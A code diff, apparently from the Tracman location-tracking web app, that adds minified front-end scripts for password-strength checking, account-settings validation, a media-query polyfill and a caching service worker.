")}),$("#clear-loc").click(function(){!userid===mapuser._id?alert("You are not logged in! "):(e&&($("#track-loc").html('<i class="fa fa-crosshairs"></i>Track'),navigator.geolocation.clearWatch(e),e=void 0),t={ts:Date.now(),tok:token,usr:userid,lat:0,lon:0,spd:0},socket.emit("set",t),toggleMaps(t),console.log("Cleared location"))})})

7
static/js/.password.min.js vendored Normal file
View File

@ -0,0 +1,7 @@
"use strict"
function checkMatch(){$("#submit").prop("title","You need to type your password again before you can save it. "),$("#p1").val()===$("#p2").val()?$("#submit").prop("disabled",!1).prop("title","Click here to save your password. "):""!==$("#p2").val()&&($("#password-help").text("Those passwords don't match... ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to type the same password twice before you can save it. "))}const zxcvbn=require("zxcvbn")
$(function(){$(".password").keyup(function(){if(""===$("#p1").val()&&""===$("#p2").val())$("#password-help").hide(),$("#submit").prop("disabled",!0).prop("title","You need to enter a password first. ")
else if(""===$("#p1").val())$("#password-help").show().text("Those passwords don't match... "),$("#submit").prop("disabled",!0).prop("title","You need to type the same password twice correctly before you can save it. ")
else{$("#password-help").show()
var e=zxcvbn($("#p1").val())
e.crack_times_seconds.online_no_throttling_10_per_second<3600?($("#password-help").text("That password is way too common or simple. You may not use it for Tracman and should not use it anywhere. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<86400?($("#password-help").text("That password is pretty bad. It could be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". Try adding more words, numbers, or symbols. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<864e3?($("#password-help").text("That password isn't good enough. It could be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". Try adding another word, number, or symbol. ").css({color:"#fb6e3d"}),$("#submit").prop("disabled",!0).prop("title","You need to come up with a better password. ")):e.crack_times_seconds.online_no_throttling_10_per_second<=2592e3?($("#password-help").text("That password is good enough, but it could still be cracked in "+e.crack_times_display.online_no_throttling_10_per_second+". ").css({color:"#eee"}),checkMatch()):e.crack_times_seconds.online_no_throttling_10_per_second<=1314e3?($("#password-help").text("That password is good. It would take "+e.crack_times_display.online_no_throttling_10_per_second+" to crack. ").css({color:"#8ae137"}),checkMatch()):($("#password-help").text("That password is great! It could take "+e.crack_times_display.online_no_throttling_10_per_second+" to crack!").css({color:"#8ae137"}),checkMatch())}}),$("#show").click(function(){$(this).is(":checked")?$(".password").attr("type","text"):$(".password").attr("type","password")})})

24
static/js/.respond.min.js vendored Normal file
View File

@ -0,0 +1,24 @@
/*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */
window.matchMedia=window.matchMedia||function(e){"use strict"
var t,n=e.documentElement,a=n.firstElementChild||n.firstChild,s=e.createElement("body"),i=e.createElement("div")
return i.id="mq-test-1",i.style.cssText="position:absolute;top:-100em",s.style.background="none",s.appendChild(i),function(e){return i.innerHTML='&shy;<style media="'+e+'"> #mq-test-1 { width: 42px; }</style>',n.insertBefore(s,a),t=42===i.offsetWidth,n.removeChild(s),{matches:t,media:e}}}(document),function(e){"use strict"
function t(){E(!0)}var n={}
if(e.respond=n,n.update=function(){},n.mediaQueriesSupported=e.matchMedia&&e.matchMedia("only all").matches,!n.mediaQueriesSupported){var a,s,i,r=e.document,o=r.documentElement,l=[],d=[],m=[],h={},u=r.getElementsByTagName("head")[0]||o,c=r.getElementsByTagName("base")[0],p=u.getElementsByTagName("link"),f=[],y=function(){for(var t=0;p.length>t;t++){var n=p[t],a=n.href,s=n.media,i=n.rel&&"stylesheet"===n.rel.toLowerCase()
a&&i&&!h[a]&&(n.styleSheet&&n.styleSheet.rawCssText?(g(n.styleSheet.rawCssText,a,s),h[a]=!0):(!/^([a-zA-Z:]*\/\/)/.test(a)&&!c||a.replace(RegExp.$1,"").split("/")[0]===e.location.host)&&f.push({href:a,media:s}))}v()},v=function(){if(f.length){var t=f.shift()
w(t.href,function(n){g(n,t.href,t.media),h[t.href]=!0,e.setTimeout(function(){v()},0)})}},g=function(e,t,n){var a=e.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),s=a&&a.length||0
t=t.substring(0,t.lastIndexOf("/"))
var i=function(e){return e.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+t+"$2$3")},r=!s&&n
t.length&&(t+="/"),r&&(s=1)
for(var o=0;s>o;o++){var m,h,u,c
r?(m=n,d.push(i(e))):(m=a[o].match(/@media *([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,d.push(RegExp.$2&&i(RegExp.$2))),u=m.split(","),c=u.length
for(var p=0;c>p;p++)h=u[p],l.push({media:h.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/)&&RegExp.$2||"all",rules:d.length-1,hasquery:h.indexOf("(")>-1,minw:h.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:h.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}E()},x=function(){var e,t=r.createElement("div"),n=r.body,a=!1
return t.style.cssText="position:absolute;font-size:1em;width:1em",n||(n=a=r.createElement("body"),n.style.background="none"),n.appendChild(t),o.insertBefore(n,o.firstChild),e=t.offsetWidth,a?o.removeChild(n):n.removeChild(t),e=i=parseFloat(e)},E=function(t){var n="clientWidth",h=o[n],c="CSS1Compat"===r.compatMode&&h||r.body[n]||h,f={},y=p[p.length-1],v=(new Date).getTime()
if(t&&a&&30>v-a)return e.clearTimeout(s),void(s=e.setTimeout(E,30))
a=v
for(var g in l)if(l.hasOwnProperty(g)){var w=l[g],T=w.minw,C=w.maxw,S=null===T,$=null===C
T&&(T=parseFloat(T)*(T.indexOf("em")>-1?i||x():1)),C&&(C=parseFloat(C)*(C.indexOf("em")>-1?i||x():1)),w.hasquery&&(S&&$||!(S||c>=T)||!($||C>=c))||(f[w.media]||(f[w.media]=[]),f[w.media].push(d[w.rules]))}for(var b in m)m.hasOwnProperty(b)&&m[b]&&m[b].parentNode===u&&u.removeChild(m[b])
for(var R in f)if(f.hasOwnProperty(R)){var M=r.createElement("style"),O=f[R].join("\n")
M.type="text/css",M.media=R,u.insertBefore(M,y.nextSibling),M.styleSheet?M.styleSheet.cssText=O:M.appendChild(r.createTextNode(O)),m.push(M)}},w=function(e,t){var n=T()
n&&(n.open("GET",e,!0),n.onreadystatechange=function(){4!==n.readyState||200!==n.status&&304!==n.status||t(n.responseText)},4!==n.readyState&&n.send(null))},T=function(){var t=!1
try{t=new e.XMLHttpRequest}catch(n){t=new e.ActiveXObject("Microsoft.XMLHTTP")}return function(){return t}}()
y(),n.update=y,e.addEventListener?e.addEventListener("resize",t,!1):e.attachEvent&&e.attachEvent("onresize",t)}}(this)

4
static/js/.settings.min.js vendored Normal file
View File

@ -0,0 +1,4 @@
"use strict"
function validateEmail(e){return/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}function replaceFromEndpoint(e,i,t){$.get("/validate?"+e+"="+$(i).val()).done(function(e){$(i).val(e),t()})}$(function(){function e(e){function n(e){function n(){$("#email-help").is(":visible")&&"Unable to confirm unique "!==$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different email address. "):$("#slug-help").is(":visible")&&"Unable to confirm unique "!==$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different slug. "):"Unable to confirm unique "===$("#slug-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique slug with the server. This might not work... "):"Unable to confirm unique "===$("#email-help").text().substring(0,25)?$("#submit-group .main").prop("title","Unable to confirm unique email with the server. This might not work... "):$("#submit-group .main").prop("disabled",!1).prop("title","Click here to save your changes. ")}e&&$("#"+e+"-input").val()?("email"===!e||validateEmail($("#email-input").val()))&&$.ajax({url:"/validate?"+e+"="+$("#"+e+"-input").val(),type:"GET",statusCode:{200:function(){$("#"+e+"-help").hide(),"slug"===e?i=!1:"email"===e&&(t=!1),n()},400:function(){"slug"===e?i=!0:"email"===e&&(t=!0),$("#"+e+"-help").show().text("That "+e+" is already in use by another user. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to supply a different "+e+". ")}}}).error(function(){"slug"===e?i=void 0:"email"===e&&(t=void 0),$("#"+e+"-help").show().text("Unable to confirm unique "+e+". This might not work... "),n()}):n()}!function(e){var n=0
$("#slug-input").val()?(i||$("#slug-help").hide(),n>0?e():n++):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "),n>0?e():n++),$("#email-input").val()?validateEmail($("#email-input").val())?(t||$("#email-help").hide(),n>0?e():n++):($("#email-help").show().text("You must enter a valid email address. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a valid email address. "),n>0?e():n++):($("#email-help").show().text("An email is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter an email address. "),n>0?e():n++)}(function(){n(e)})}var i,t
$("#password").attr("href","/account/password?tz="+(new Date).getTimezoneOffset()),$("#delete").click(function(){confirm("Are you sure you want to delete your account? This CANNOT be undone! ")&&(window.location.href="/settings/delete")}),$("#slug-input").change(function(){$("#slug-input").val()?($("#slug-help").hide(),replaceFromEndpoint("slugify","#slug-input",function(){e("slug")})):($("#slug-help").show().text("A slug is required. "),$("#submit-group .main").prop("disabled",!0).prop("title","You need to enter a slug. "))}),$("#email-input").change(function(){e("email")}),$("#name-input").change(function(){replaceFromEndpoint("xss","#name-input",e)})})

4
static/js/.sw.min.js vendored Normal file
View File

@ -0,0 +1,4 @@
"use strict"
const PRECACHE="precache-0.8.2",RUNTIME="runtime",PRECACHE_URLS=["/","/static/js/.*.min.js","/static/css/.*.min.css","/static/manifest.json"]
self.addEventListener("install",function(t){t.waitUntil(caches.open(PRECACHE).then(function(t){t.addAll(PRECACHE_URLS)}).then(self.skipWaiting()))}),self.addEventListener("activate",function(t){const n=[PRECACHE,RUNTIME]
t.waitUntil(caches.keys().then(function(t){return t.filter(function(t){n.includes(t)})}).then(function(t){return Promise.all(t.map(function(t){return caches.delete(t)}))}).then(function(){self.clients.claim()}))}),self.addEventListener("fetch",function(t){t.request.url.startsWith(self.location.origin)&&t.respondWith(caches.match(t.request).then(function(n){return n||caches.open(RUNTIME).then(function(n){return fetch(t.request).then(function(e){return n.put(t.request,e.clone()).then(function(){return e})})})}))})